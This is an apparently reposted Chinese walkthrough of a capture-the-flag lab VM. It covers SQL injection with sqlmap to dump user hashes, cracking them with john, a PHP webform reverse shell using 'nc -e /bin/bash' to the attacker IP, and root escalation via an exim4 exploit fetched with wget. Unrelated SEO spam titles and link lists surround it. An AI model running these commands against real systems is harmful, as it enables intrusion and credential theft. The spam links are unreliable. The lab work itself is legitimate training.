当前位置： 首页 > news >正文 做i网站制作宝安网站建设 news 2025/11/3 15:06:46 做i网站,制作宝安网站建设,二维码网站建设源码,wordpress rewrite期末倒计时一周#xff0c;发完这篇就要好好复习期末了#xff0c;【许愿】 1.信息查询 1.1.Ip arp-scan -l 192.168.220.138 1.2.扫描端口 nmap -T4 -A -p- 192.168.220.138 接下来直接访问当前的主机#xff0c;发现地址栏中的 nid 会发生变化#xff0c;猜测可…期末倒计时一周发完这篇就要好好复习期末了【许愿】 1.信息查询 1.1.Ip arp-scan -l 192.168.220.138 1.2.扫描端口 nmap -T4 -A -p- 192.168.220.138 接下来直接访问当前的主机发现地址栏中的 nid 会发生变化猜测可能会存在 sql 注入漏洞 验证一下 sql 注入是否真的存在随机给一个不存在的值 x观察是否会报 sql 的错误信息如果报了说明存在 sql 注入 接下来就可以直接使用 sqlmap 进行攻击 sqlmap -u http://192.168.220.138/?nid1 --current-db sqlmap -u http://192.168.220.138/?nid1 -D d7db --tables 获取当前数据库中的所有表我们想要查看用户的信息可以进行登录需要使用 users 表 sqlmap -u http://192.168.220.138/?nid1 -D d7db -T users --columns 获取出当前 users 表的字段接下来获取值 sqlmap -u http://192.168.220.138/?nid1 -D d7db -T users -C name,pass --dump 获取当前的密码但是密码加密了接下来需使用 john --show 查看解密 $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF vim dc8.txt 将 $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 写进去然后保存 爆破密码 john dc8.txt 爆破出来的密码: turtle 可以尝试远程连接但是不好使 1.3.扫描目录 dirsearch -u 192.168.220.138 -e* -i 200 发现了有/user/login 这个页面接下来就直接访问使用上面账号进行登录发现只有 john 能登录成功 接下来需要找突破口在 webform 中有新的发现 2. shell 反弹 选择 form setting然后写入 shell 反弹脚本 h1xxxx/h1?phpsystem(nc -e /bin/bash 192.168.126.138 7777);? 注意选php 点击保存 然后需要写一些信息来进行提交 反弹成功并设置python交互 使用 python 命令行脚本 python -c import pty;pty.spawn(/bin/bash) 3.提权 然后接下来要做两件事情 进入到 home 目录发现无任何价值信息 2.sudo -l进行提权发现不好使接下来使用 suid 方式进行提权 find / -user root -perm -us 2/dev/null 发现 exim4 在使用时具有 root 权限 exim 是一个邮件传输的代理用于在电子邮件服务器之间进行邮件交换和路由。 4.发现exim的提权方式 查看 exim4 的版本 exim4 --version 可以搜索这个版本的漏洞 searchsploit exim 搜索 46996 这个文件 searchsploit -p linux/local/46996.sh 接下来复制一份到本地然后传递到靶机上 cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh 搭建 python 的服务器用户传递数据 python3 -m http.server 8888 搭建 python 的服务器用户传递数据 python3 -m http.server 8888 在靶机中先切换到/tmp.然后在进行 sh 文件的下载 查看一下自己虚拟机的ip 192.168.220.146 cd /tmpwget http://192.168.220.146:8888/46996.sh 给当前脚本一个执行权限 chmod 777 46996.sh 查看这个脚本内容发现有两种提权方式 ./46996.sh -m netcat 最后 cd /rootlscat flag.txt 文章转载自： http://www.morning.grbp.cn.gov.cn.grbp.cn http://www.morning.mgnrc.cn.gov.cn.mgnrc.cn http://www.morning.tymwx.cn.gov.cn.tymwx.cn http://www.morning.ljdd.cn.gov.cn.ljdd.cn http://www.morning.xpqdf.cn.gov.cn.xpqdf.cn http://www.morning.mwnch.cn.gov.cn.mwnch.cn http://www.morning.qclmz.cn.gov.cn.qclmz.cn http://www.morning.qsmmq.cn.gov.cn.qsmmq.cn http://www.morning.gbfuy28.cn.gov.cn.gbfuy28.cn http://www.morning.vuref.cn.gov.cn.vuref.cn http://www.morning.rwzmz.cn.gov.cn.rwzmz.cn http://www.morning.fqmbt.cn.gov.cn.fqmbt.cn http://www.morning.nzsdr.cn.gov.cn.nzsdr.cn http://www.morning.fmdvbsa.cn.gov.cn.fmdvbsa.cn http://www.morning.zttjs.cn.gov.cn.zttjs.cn http://www.morning.lnsnyc.com.gov.cn.lnsnyc.com http://www.morning.sgbsr.cn.gov.cn.sgbsr.cn http://www.morning.kfcz.cn.gov.cn.kfcz.cn http://www.morning.tqsmg.cn.gov.cn.tqsmg.cn http://www.morning.hydkd.cn.gov.cn.hydkd.cn http://www.morning.yesidu.com.gov.cn.yesidu.com http://www.morning.cmqrg.cn.gov.cn.cmqrg.cn http://www.morning.pdxqk.cn.gov.cn.pdxqk.cn http://www.morning.yrnll.cn.gov.cn.yrnll.cn http://www.morning.tbcfj.cn.gov.cn.tbcfj.cn http://www.morning.dywgl.cn.gov.cn.dywgl.cn http://www.morning.ptzf.cn.gov.cn.ptzf.cn http://www.morning.kfclh.cn.gov.cn.kfclh.cn http://www.morning.kllzy.com.gov.cn.kllzy.com http://www.morning.kmrgl.cn.gov.cn.kmrgl.cn http://www.morning.jtcq.cn.gov.cn.jtcq.cn http://www.morning.ljxps.cn.gov.cn.ljxps.cn http://www.morning.mcwrg.cn.gov.cn.mcwrg.cn http://www.morning.gpcy.cn.gov.cn.gpcy.cn http://www.morning.dcmnl.cn.gov.cn.dcmnl.cn http://www.morning.rjrh.cn.gov.cn.rjrh.cn http://www.morning.bpzw.cn.gov.cn.bpzw.cn http://www.morning.qnqt.cn.gov.cn.qnqt.cn http://www.morning.hqqpy.cn.gov.cn.hqqpy.cn http://www.morning.wmglg.cn.gov.cn.wmglg.cn http://www.morning.lyjwb.cn.gov.cn.lyjwb.cn http://www.morning.gxqpm.cn.gov.cn.gxqpm.cn http://www.morning.xsqbx.cn.gov.cn.xsqbx.cn http://www.morning.hhxwr.cn.gov.cn.hhxwr.cn http://www.morning.tralution.cn.gov.cn.tralution.cn http://www.morning.rjnm.cn.gov.cn.rjnm.cn http://www.morning.qgjgsds.com.cn.gov.cn.qgjgsds.com.cn http://www.morning.kdtdh.cn.gov.cn.kdtdh.cn http://www.morning.rhqr.cn.gov.cn.rhqr.cn http://www.morning.mlcnh.cn.gov.cn.mlcnh.cn http://www.morning.nqlnd.cn.gov.cn.nqlnd.cn http://www.morning.rpkl.cn.gov.cn.rpkl.cn http://www.morning.xbnkm.cn.gov.cn.xbnkm.cn http://www.morning.rqqkc.cn.gov.cn.rqqkc.cn http://www.morning.tslfz.cn.gov.cn.tslfz.cn http://www.morning.kqpxb.cn.gov.cn.kqpxb.cn http://www.morning.rbzd.cn.gov.cn.rbzd.cn http://www.morning.rwcw.cn.gov.cn.rwcw.cn http://www.morning.sgfgz.cn.gov.cn.sgfgz.cn http://www.morning.xsqbx.cn.gov.cn.xsqbx.cn http://www.morning.gdljq.cn.gov.cn.gdljq.cn http://www.morning.twgzq.cn.gov.cn.twgzq.cn http://www.morning.hfyll.cn.gov.cn.hfyll.cn http://www.morning.lbjdx.cn.gov.cn.lbjdx.cn http://www.morning.jwwfk.cn.gov.cn.jwwfk.cn http://www.morning.gbljq.cn.gov.cn.gbljq.cn http://www.morning.dkqbc.cn.gov.cn.dkqbc.cn http://www.morning.yggwn.cn.gov.cn.yggwn.cn http://www.morning.dmwck.cn.gov.cn.dmwck.cn http://www.morning.wpqwk.cn.gov.cn.wpqwk.cn http://www.morning.mnsts.cn.gov.cn.mnsts.cn http://www.morning.xxrwp.cn.gov.cn.xxrwp.cn http://www.morning.qdcpn.cn.gov.cn.qdcpn.cn http://www.morning.zpfqh.cn.gov.cn.zpfqh.cn http://www.morning.zlhbg.cn.gov.cn.zlhbg.cn http://www.morning.fstesen.com.gov.cn.fstesen.com http://www.morning.hhxwr.cn.gov.cn.hhxwr.cn http://www.morning.kdldx.cn.gov.cn.kdldx.cn http://www.morning.nhlnh.cn.gov.cn.nhlnh.cn http://www.morning.pwsnr.cn.gov.cn.pwsnr.cn 查看全文 http://www.tj-hxxt.cn/news/274028.html 相关文章： wordpress 语言文件夹株洲网站搜索优化 网站商城建设报告网站建设的请示报告 上海松江建设发展有限公司网站网站制作的论文 商城网站建设特点有哪些北京今朝装饰设计有限公司 沈阳网站建设找世纪兴包装技术支持 东莞网站建设 做网站需准备些什么软件北京做网站比较大的公司 设计网站大全免费下载个人做排行网站 柳州建站wordpress插件根目录 个人购物网站企业邮箱域名解析 做效果图常用的网站做外账要登什么网站 可以免费发布信息的网站有哪些品牌网站建设流程图 电子政务系统网站建设的基本过程微分销平台搭建 网站在vps能访问 在本地访问不了青浦网站招营业员做一休一 网站建设入门书网站搜索排名和什么有关系 三合一网站建设做个网站多少钱 百度能查到的 营销型网站的布局ps个人网站首页怎么制作 免费站推广网站2022环境设计排版哪个网站好 深圳定制网站制作招聘网自媒体网站 程序 用nas建设服务器网站网站seo优化方案策划书 制作企业网站新闻列表页面网页设计实训报告做服装的外贸网站 电影院做羞羞的网站seo官网 网站建设技术百科哪些网站可以做国外生意 本地免费发布信息网站实力网站优化公司首选 韩国大型门户网站三分钟做网站 网站定制微安电力案例手机端关键词排名优化 大学思政类网站建设wordpress 爆用户名 深圳商城网站制作公司品质好的衣服品牌 网站文章要求搜建筑网建筑规范大全 中山台州网站建设推广wordpress做门户网站 南联网站建设哪家好什么推广网站好
